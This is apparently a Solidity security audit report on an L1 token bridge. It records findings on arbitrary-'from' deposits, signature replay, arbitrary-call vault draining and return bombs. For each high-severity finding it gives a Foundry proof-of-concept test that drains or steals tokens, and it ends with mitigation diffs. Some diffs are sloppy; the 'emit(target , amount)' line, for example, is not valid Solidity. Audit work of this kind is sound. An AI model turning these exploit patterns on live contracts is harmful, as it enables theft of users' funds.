# Protocol Audit Report

Prepared by: Cyfrin

# Table of Contents



# Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

# Disclaimer

The Bikalpa Regmi makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an

endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

## Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

## Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

# Executive Summary

We spended 15 hours auditing this protocol and found 12 bugs with 5 higher ones.

## Issues found

| **Severity** | **Number of Issue Found** |
|---|---|

| Severity | Number of Issue Found |
| --- | --- |
| High | 5 |
| Medium | 1 |
| Low | 1 |
| gas | 0 |
| Info | 5 |
| Total | 12 |

# Findings

## High

### [H-1] Users who give tokens approvals to `L1BossBridge` may have those asset stolen.

**Description :** The `depositTokensToL2` allows anyone to call that function using `from` parameter.

**Impact :** The attacker can move the token of anyone who has approved token allowance to move on their behalf. He can assign himself the token after victim money is moved to vault.

**Proof of Concept :** Add the following proof of code in `L1TokenBridge.t.sol`.

▶ Details

```
function testCanMoveApprovedTokenOfOtherToken() external {
        // Poor alice approving
        vm.prank(user) ;
        token.approve(address(tokenBridge) , type(uint256).max) ;

        // BOB
        uint256 depositAmount =  token.balanceOf(user) ;
        address attacker = makeAddr("Attacker") ;

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge)) ;
        emit Deposit(user , attacker , depositAmount) ;
        tokenBridge.depositTokensToL2(user , attacker , depositAmount) ;

        assertEq(token.balanceOf(user) , 0) ;
        assertEq(token.balanceOf(address(vault)) , depositAmount) ;
        vm.stopPrank() ;

    }
```

**Recommended Mitigation :** Consider modyfing the `depositTokensToL2` function in such a way that attacker can't specify from address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
+ function depositTokensToL2( address l2Recipient, uint256 amount) external
whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-        token.safeTransferFrom(from, address(vault), amount);
+        token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding
tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

### [H-2] Attacker can also drain all of the money of the vault.

**Description :** The `depositTokensToL2` function allows to specify the `from` parameters to deposit the money to L2. However, the vault allow all of the token to spend by bridge.

**Impact :** The attacker can easily specify vault address in from parameter of vault address and drain out all of the funds to thier address on L2.

**Proof of Concept :** Paste the following proof of code in `L1TokenBridge.t.sol`.

```
function testCanTransferFromVaultToVault() external {
address attacker = makeAddr("Attacker") ;
uint256 vaultBalance = 500 ether ;

deal(address(token) , address(vault) , vaultBalance) ;

vm.expectEmit(address(tokenBridge)) ;
emit Deposit(address(vault)  , attacker , vaultBalance);

tokenBridge.depositTokensToL2(address(vault) , attacker , vaultBalance) ;
}
```

**Recommended Mitigation :** As suggested in `H1`, Consider modyfing the `depositTokensToL2` function in such a way that attacker can't specify from address.

### [H-3] The user can replay the withdrawls at `L1BossBridge::sendToL1`.

**Description :** Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

**Impact :** However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

**Proof of Concept :** Paste the following proof of code at `L1TokenBridge.t.sol`.

▶ Details

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker, attackerInitialBalance),
operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

**Recommended Mitigation 🤫*Consider redesigning the withdrawal mechanism so that it includes replay protection.

▶ Details

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public {
    (address target, uint256 value, bytes memory data, uint256 nonce) =
abi.decode(message, (address, uint256, bytes, uint256));

    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(
            keccak256(abi.encodePacked(target, value, data, nonce))
        ),
        v, r, s
    );
```

```
        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        if (`nonce` != nonces[signer]) {
            revert InvalidNonce();
        }

        nonces[signer]++;

        (bool success,) = target.call{value: value}(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

### [H-4] `CREATE` opcode does not work on zksync era

**Description :** The `create` opcode written in `TokenFactory::deployToken` doesn't work if used in zksync era. It currently does not support it.

**Impact :** The `TokenFactory::deployToken` is useless and the contract's one of the major protocol is broken.

**Recommended Mitigation :** Find better alternative instead of `create` opcode.

### [H-5] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);
```

```
    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request
a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being
signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max))
// data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

---

## Medium

### [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

---

## Low

### [L-1] `TokenFactory::deployToken` can create multiple token with same `symbol`.

---

## Informational

[I-1] The DEPOSIT_LIMIT should be constant on `L1BossBridge`.

```
-    uint256 public DEPOSIT_LIMIT = 100_000 ether;
+    uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

[I-2] The function `depositTokensToL2` should follow CEI.

```
function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }

+       emit Deposit(from, l2Recipient, amount);

        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding
tokens on L2
-        emit Deposit(from, l2Recipient, amount);
    }
```

[I-3] The `L1Vault::token` should be immutable.

```
- IERC20 public token;
+ IERC20 public immutable token;
```

[I-4] The `L1Vault::approveTo` should check the return value of approve.

```
 function approveTo(address target, uint256 amount) external onlyOwner {
        token.approve(target, amount);
+        emit(target , amount) ;
    }
```

[I-5] Insufficient test coverage

```
Running tests...
| File                | % Lines        | % Statements   | % Branches    | % Funcs
|
| ------------------- | -------------- | -------------- | ------------- | -------
------ |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)  | 83.33%
(5/6)  |
```

```
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0) | 0.00%
(0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0) | 100.00%
(2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)  | 77.78%
(7/9)  |
```

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.